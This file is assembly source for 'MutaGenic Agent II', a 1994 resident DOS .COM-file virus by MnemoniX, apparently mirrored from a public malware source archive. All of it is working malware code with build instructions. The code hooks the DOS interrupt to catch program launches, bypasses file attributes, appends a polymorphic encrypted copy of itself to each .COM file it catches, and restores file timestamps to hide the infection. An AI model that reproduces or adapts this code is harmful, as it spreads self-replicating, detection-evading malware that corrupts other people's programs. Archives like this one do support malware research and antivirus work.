mirror of
https://github.com/vxunderground/MalwareSourceCode
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207 lines
7.1 KiB
NASM
207 lines
7.1 KiB
NASM
; ========================================================================>
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; MutaGenic Agent ][ - MutaGen V1.3 Test Virus
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; by MnemoniX 1994
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;
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; A simple resident .COM infector implementing MutaGen.
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; To assemble:
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; TASM mg2
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; TLINK /t mg2 mutagen
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; ========================================================================>
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ID equ 'MG'
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PING equ 0BADh ; a seldom used DOS function
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PONG equ 0DEADh ; residency response
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MUTAGEN_SIZE equ 1652 ; version 1.3
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extrn _MUTAGEN:near
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code segment byte public 'code'
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org 100h
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assume cs:code,ds:code,es:code,ss:code
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start:
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jmp virus_begin ; fake host program
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dw ID ; infection signature
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virus_begin:
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call $ + 3
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pop bp
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sub bp,offset $ - 1
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mov ax,PING ; are we already resident?
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int 21h
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cmp dx,PONG
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je installed ; if so, don't repeat ...
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mov ax,ds ; blah, blah, blah
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dec ax
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mov ds,ax
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sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
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sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
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mov ax,ds:[12h]
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mov ds,ax
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sub ax,15
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mov es,ax
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mov byte ptr ds:[0],'Z'
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mov word ptr ds:[1],8
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mov word ptr ds:[3],(MEM_SIZE + 15) / 16
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push cs ; now move virus into memory
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pop ds
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mov di,100h
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mov cx,(offset virus_end - offset start) / 2
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lea si,[bp + start]
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rep movsw
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xor ax,ax ; move interrupt vector 21
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mov ds,ax
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mov si,21h * 4 ; (saving it first)
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mov di,offset old_int_21
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movsw
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movsw
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mov ds:[si - 4],offset new_int_21
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mov ds:[si - 2],es
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installed:
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push cs
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push cs
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pop ds
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pop es
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mov di,100h ; restore original host
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push di
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lea si,[bp + host]
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movsw
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movsw
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movsb
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xor ax,ax ; fix a few registers
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cwd
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mov si,100h
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ret ; and leave
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new_int_21:
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cmp ax,PING ; residency test?
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je pass_signal ; yah yah!
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cmp ax,4B00h ; program execute?
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je execute ; oui oui ...
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int_21_exit:
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db 0EAh ; nope, never mind
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old_int_21 dd 0
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pass_signal:
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mov dx,PONG ; give passing signal
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jmp int_21_exit
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execute:
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push ax bx cx dx di si es ds ; a PUSHA is nicer, but it
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; won't work on an 8088
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mov ax,3D00h ; open file
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int 21h
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jnc get_sft
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jmp cant_open ; ecch ...
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get_sft:
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xchg ax,bx ; this virus implements the
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push bx ; use of System File Table
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mov ax,1220h ; (TM) manipulation
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int 2Fh
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mov ax,1216h
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mov bl,es:[di]
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int 2Fh
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pop bx
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push cs
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pop ds
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mov cx,5 ; read header of file
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mov dx,offset host
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mov ah,3Fh
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int 21h
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cmp word ptr host,'ZM' ; .EXE file?
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je dont_infect ; oh well ...
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cmp word ptr host[3],ID ; already infected?
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je dont_infect ; maybe next time ...
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mov word ptr es:[di + 2],2 ; a slick way of sidestepping
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; file attributes
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mov ax,es:[di + 11h] ; get file size
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cmp ax,65729 - VIRUS_SIZE + 100
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jae dont_infect ; don't infect, too large
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mov es:[di + 15h],ax ; move to end of file
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sub ax,3 ; adjust for jump
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mov word ptr new_jump[1],ax
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; MutaGen calling routine
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push es di
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push cs ; setup registers
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pop es
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mov di,offset virus_end
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mov si,offset virus_begin
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mov cx,VIRUS_SIZE
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add ax,103h
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mov dx,ax
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call _mutagen ; "It's a POLYMORPHIC WAR
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; OUT THERE!" - P. Ferguson
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pop di es ; restore DI and ES
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mov ah,40h ; save virus code to file
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int 21h
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mov word ptr es:[di + 15h],0 ; reset file pointer
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mov ah,40h ; and write new jump to file
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mov dx,offset new_jump
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mov cx,5
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int 21h
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mov cx,es:[di + 0Dh] ; restore file time
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mov dx,es:[di + 0Fh]
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mov ax,5701h
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int 21h
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dont_infect:
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mov ah,3Eh ; close up shop
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int 21h
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cant_open:
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pop ds es si di dx cx bx ax
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jmp int_21_exit
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db '[MutaGenic Agent II]',0
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host: ; original host header
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mov ax,4C00h
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int 21h
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new_jump db 0E9h ; new jump instruction
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dw 0
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dw ID
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virus_end equ $ + MUTAGEN_SIZE + 1 ; add MutaGen size to virus
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; size
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VIRUS_SIZE equ virus_end - virus_begin
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MEM_SIZE equ VIRUS_SIZE * 2 + 100 ; extra memory for encryption
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; buffer
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code ends
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end start
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